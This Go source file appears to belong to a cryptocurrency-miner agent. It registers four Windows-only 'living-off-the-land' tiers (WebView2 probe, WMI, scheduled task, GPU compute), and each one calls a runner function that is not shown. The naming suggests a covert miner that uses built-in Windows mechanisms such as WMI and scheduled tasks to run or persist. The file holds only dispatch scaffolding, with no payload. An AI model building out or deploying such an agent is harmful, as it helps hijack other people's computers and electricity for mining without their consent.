80 lines
1.8 KiB
Go
80 lines
1.8 KiB
Go
package miner
|
|
|
|
import (
|
|
"context"
|
|
"runtime"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
type webview2ProbeHandler struct{}
|
|
|
|
func (t *webview2ProbeHandler) Tier() LOTLTier { return TierWebView2Probe }
|
|
|
|
func (t *webview2ProbeHandler) Available(cfg config.RuntimeConfig) bool {
|
|
_ = cfg
|
|
return runtime.GOOS == "windows"
|
|
}
|
|
|
|
func (t *webview2ProbeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
|
return RunWebView2Probe(ctx, cfg)
|
|
}
|
|
|
|
func (t *webview2ProbeHandler) Stop() {}
|
|
|
|
type wmiHandler struct{}
|
|
|
|
func (t *wmiHandler) Tier() LOTLTier { return TierWMI }
|
|
|
|
func (t *wmiHandler) Available(cfg config.RuntimeConfig) bool {
|
|
_ = cfg
|
|
return runtime.GOOS == "windows"
|
|
}
|
|
|
|
func (t *wmiHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
|
return RunWMITier(ctx, cfg)
|
|
}
|
|
|
|
func (t *wmiHandler) Stop() {}
|
|
|
|
type scheduledTaskHandler struct{}
|
|
|
|
func (t *scheduledTaskHandler) Tier() LOTLTier { return TierScheduledTask }
|
|
|
|
func (t *scheduledTaskHandler) Available(cfg config.RuntimeConfig) bool {
|
|
_ = cfg
|
|
return runtime.GOOS == "windows"
|
|
}
|
|
|
|
func (t *scheduledTaskHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
|
return RunScheduledTaskTier(ctx, cfg)
|
|
}
|
|
|
|
func (t *scheduledTaskHandler) Stop() {}
|
|
|
|
type gpuComputeHandler struct{}
|
|
|
|
func (t *gpuComputeHandler) Tier() LOTLTier { return TierGPUCompute }
|
|
|
|
func (t *gpuComputeHandler) Available(cfg config.RuntimeConfig) bool {
|
|
return runtime.GOOS == "windows" && cfg.GPUEnabled
|
|
}
|
|
|
|
func (t *gpuComputeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
|
return RunGPUComputeTier(ctx, cfg)
|
|
}
|
|
|
|
func (t *gpuComputeHandler) Stop() {}
|
|
|
|
func defaultTierHandlers() []TierHandler {
|
|
if runtime.GOOS != "windows" {
|
|
return nil
|
|
}
|
|
return []TierHandler{
|
|
&webview2ProbeHandler{},
|
|
&wmiHandler{},
|
|
&scheduledTaskHandler{},
|
|
&gpuComputeHandler{},
|
|
}
|
|
}
|